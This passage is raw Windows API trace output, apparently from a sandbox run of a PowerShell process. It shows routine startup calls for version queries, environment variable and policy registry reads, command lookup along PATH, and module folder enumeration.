lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\PrivateBuild", lplpBuffer=0x5a2efc8, puLen=0x5a2efc4 | out: lplpBuffer=0x5a2efc8*=0x0, puLen=0x5a2efc4) returned 0 [0164.844] VerQueryValueW (in: pBlock=0x25892c0, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\SpecialBuild", lplpBuffer=0x5a2efc8, puLen=0x5a2efc4 | out: lplpBuffer=0x5a2efc8*=0x0, puLen=0x5a2efc4) returned 0 [0164.844] VerQueryValueW (in: pBlock=0x25892c0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x5a2efbc, puLen=0x5a2efb8 | out: lplpBuffer=0x5a2efbc*=0x2589660, puLen=0x5a2efb8) returned 1 [0164.844] VerLanguageNameW (in: wLang=0x409, szLang=0x5a2ed4c, cchLang=0x100 | out: szLang="English (United States)") returned 0x17 [0164.844] VerQueryValueW (in: pBlock=0x25892c0, lpSubBlock="\\", lplpBuffer=0x5a2efcc, puLen=0x5a2efc8 | out: lplpBuffer=0x5a2efcc*=0x25892e8, puLen=0x5a2efc8) returned 1 [0168.060] QueryPerformanceCounter (in: lpPerformanceCount=0x5a2f0d4 | out: lpPerformanceCount=0x5a2f0d4*=1259908345361) returned 1 [0168.128] EtwEventRegister () returned 0x0 [0168.130] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ef44, nSize=0x80 | out: lpBuffer="") returned 0x0 [0168.762] EtwEventActivityIdControl () returned 0x0 [0168.762] EtwEventActivityIdControl () returned 0x0 [0168.763] EtwEventActivityIdControl () returned 0x0 [0168.772] EtwEventActivityIdControl () returned 0x0 [0168.772] EtwEventActivityIdControl () returned 0x0 [0168.772] EtwEventActivityIdControl () returned 0x0 [0169.067] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x5a2e74c, nSize=0x80 | out: lpBuffer="") returned 0x0 [0169.067] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x5a2e74c, nSize=0x80 | out: lpBuffer="") returned 0x0 [0169.140] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x5a2e738, nSize=0x80 | out: lpBuffer="") returned 0x0 [0169.334] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2efb0 | out: phkResult=0x5a2efb0*=0x0) returned 0x2 [0169.334] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2efb0 | out: phkResult=0x5a2efb0*=0x0) returned 0x2 [0169.372] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x5a2e708, nSize=0x80 | out: lpBuffer="") returned 0x0 [0169.385] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2eaf0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0169.395] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x5a2ea0c, nSize=0x80 | out: lpBuffer="") returned 0xf2 [0169.395] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x5a2e928, nSize=0xf2 | out: lpBuffer="") returned 0xf1 [0169.396] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x5a2e914, nSize=0xf2 | out: lpBuffer="") returned 0x3a [0169.573] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x469910 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop") returned 0x1a [0169.579] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x5a2e91c, nSize=0xf2 | out: lpBuffer="") returned 0x3a [0169.582] GetFullPathNameW (in: lpFileName="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0169.582] GetFullPathNameW (in: lpFileName="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x49, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x48 [0169.582] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e878) returned 1 [0169.582] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\" (normalized: "c:\\users\\keecfmwgj\\desktop\\c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x5a2eb3c | out: lpFileInformation=0x5a2eb3c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0169.582] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e874) returned 1 [0169.583] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x5a2e1ac, nSize=0xf2 | out: lpBuffer="") returned 0x0 [0169.584] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0169.584] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x14, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0169.584] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e878) returned 1 [0169.584] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x5a2eb3c | out: lpFileInformation=0x5a2eb3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe13712, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x5da08c40, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x5da08c40, ftLastWriteTime.dwHighDateTime=0x1d7a944, nFileSizeHigh=0x0, nFileSizeLow=0x80000)) returned 1 [0169.585] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e874) returned 1 [0169.585] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb34) returned 1 [0169.681] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0169.681] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x14, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0169.683] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\New-Object.*", lpFindFileData=0x5a2e8e4 | out: lpFindFileData=0x5a2e8e4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0169.684] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e88c) returned 1 [0169.685] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2eaec) returned 1 [0169.687] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0169.687] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0xb, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0169.687] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e878) returned 1 [0169.687] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x5a2eb3c | out: lpFileInformation=0x5a2eb3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x571be860, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x571be860, ftLastWriteTime.dwHighDateTime=0x1d7a944, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1 [0169.687] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e874) returned 1 [0169.687] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb34) returned 1 [0169.687] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0169.687] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0xb, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0169.688] FindFirstFileW (in: lpFileName="C:\\Windows\\New-Object.*", lpFindFileData=0x5a2e8e4 | out: lpFindFileData=0x5a2e8e4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0169.688] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e88c) returned 1 [0169.688] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2eaec) returned 1 [0169.689] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0169.689] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0169.689] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e878) returned 1 [0169.689] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\syswow64\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x5a2eb3c | out: lpFileInformation=0x5a2eb3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x123dcea, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x496a9b80, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496a9b80, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8000)) returned 1 [0169.689] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e874) returned 1 [0169.689] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb34) returned 1 [0169.689] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0169.689] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0169.689] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\New-Object.*", lpFindFileData=0x5a2e8e4 | out: lpFindFileData=0x5a2e8e4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0169.690] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e88c) returned 1 [0169.690] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2eaec) returned 1 [0169.690] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0169.690] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0169.690] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e878) returned 1 [0169.690] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x5a2eb3c | out: lpFileInformation=0x5a2eb3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0169.690] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e874) returned 1 [0169.690] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb34) returned 1 [0169.691] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0169.691] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0169.691] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\New-Object.*", lpFindFileData=0x5a2e8e4 | out: lpFindFileData=0x5a2e8e4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0169.691] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e88c) returned 1 [0169.691] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2eaec) returned 1 [0169.691] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\root\\Client", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0169.691] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\root\\Client", nBufferLength=0x34, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Microsoft Office\\root\\Client", lpFilePart=0x0) returned 0x33 [0169.691] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e878) returned 1 [0169.691] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\root\\Client" (normalized: "c:\\program files (x86)\\microsoft office\\root\\client"), fInfoLevelId=0x0, lpFileInformation=0x5a2eb3c | out: lpFileInformation=0x5a2eb3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31a4ed90, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x7fc99110, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x7fc99110, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x3000)) returned 1 [0169.691] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e874) returned 1 [0169.692] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb34) returned 1 [0169.692] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\root\\Client", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0169.692] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\root\\Client", nBufferLength=0x34, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Microsoft Office\\root\\Client", lpFilePart=0x0) returned 0x33 [0169.692] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\root\\Client\\New-Object.*", lpFindFileData=0x5a2e8e4 | out: lpFindFileData=0x5a2e8e4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0169.692] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e88c) returned 1 [0169.692] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2eaec) returned 1 [0169.696] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x5a2e980, nSize=0xf2 | out: lpBuffer="") returned 0xc5 [0169.760] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules" (normalized: "c:\\program files\\windowspowershell\\modules")) returned 0x10 [0169.784] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb64) returned 1 [0169.784] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0169.784] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules", nBufferLength=0x2b, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x2a [0169.784] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\*", lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x401a70 [0169.785] FindNextFileW (in: hFindFile=0x401a70, lpFindFileData=0x5a2e91c | out: lpFindFileData=0x5a2e91c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.785] FindNextFileW (in: hFindFile=0x401a70, lpFindFileData=0x5a2e91c | out: lpFindFileData=0x5a2e91c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0169.786] FindNextFileW (in: hFindFile=0x401a70, lpFindFileData=0x5a2e91c | out: lpFindFileData=0x5a2e91c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0169.786] FindNextFileW (in: hFindFile=0x401a70, lpFindFileData=0x5a2e91c | out: lpFindFileData=0x5a2e91c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0169.786] FindClose (in: hFindFile=0x401a70 | out: hFindFile=0x401a70) returned 1 [0169.786] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e8d4) returned 1 [0169.786] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2eb34) returned 1 [0169.787] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.psd1")) returned 0xffffffff [0169.787] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.psm1")) returned 0xffffffff [0169.788] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.cdxml")) returned 0xffffffff [0169.788] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.xaml")) returned 0xffffffff [0169.788] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.ni.dll")) returned 0xffffffff [0169.788] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.dll")) returned 0xffffffff [0169.789] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0169.789] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x3d, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x3c [0169.789] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8b4) returned 1 [0169.789] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement"), fInfoLevelId=0x0, lpFileInformation=0x5a2eb78 | out: lpFileInformation=0x5a2eb78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0169.827] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e8b0) returned 1 [0169.828] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0169.828] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x39, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x38 [0169.828] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8b4) returned 1 [0169.829] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget"), fInfoLevelId=0x0, lpFileInformation=0x5a2eb78 | out: lpFileInformation=0x5a2eb78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0169.829] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e8b0) returned 1 [0169.829] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb64) returned 1 [0169.829] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0169.829] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x3d, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x3c [0169.830] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\*", lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x401a70 [0169.830] FindNextFileW (in: hFindFile=0x401a70, lpFindFileData=0x5a2e91c | out: lpFindFileData=0x5a2e91c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.831] FindNextFileW (in: hFindFile=0x401a70, lpFindFileData=0x5a2e91c | out: lpFindFileData=0x5a2e91c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49b46620, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49b46620, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 